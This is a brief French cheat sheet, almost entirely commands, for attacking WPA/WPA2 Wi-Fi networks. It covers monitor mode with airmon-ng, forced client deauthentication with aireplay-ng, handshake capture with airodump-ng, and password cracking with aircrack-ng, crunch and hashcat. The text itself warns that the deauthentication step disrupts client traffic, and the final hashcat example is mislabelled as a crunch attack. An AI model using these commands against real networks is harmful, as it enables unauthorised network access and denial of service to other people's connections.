airmon-ng
airmon-ng check kill
airmon-ng start wlan0
aireplay-ng -9 wlan0mon
airodump-ng -c11 --bssid MACADDRESS -w psk wlan0mon
aircrack-ng -w /path/password.lst psk-01.cap
airmon-ng stop wlan0mon
sudo service network-manager restart

Dans l'exemple suivant, -0 2 indique que nous souhaitons envoyer 2 paquets de déauthentification. Augmenter ce nombre si nécessaire, mais cela pourrait provoquer une interruption notable de l'activité du réseau client. -a est l'adresse MAC du point d'accès. -c est l'adresse MAC du client.

aireplay-ng -0 2 -a 9C:5C:8E:C9:AB:C0 -c 64:BC:0C:48:97:F7 mon0

Exemple de tentative de bruteforce avec crunch (caractères alphanumériques uniquement) :

crunch 20 20 abcdefghijklmnopqrstuvwxyz0123456789 -d 1 | aircrack-ng -b 9C:5C:8E:C9:AB:C0 -w - Documents/psk-01.cap

Exemple de tentative de bruteforce avec crunch :

hashcat -m 22000 psk-01.hc22000 -a 3 ?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a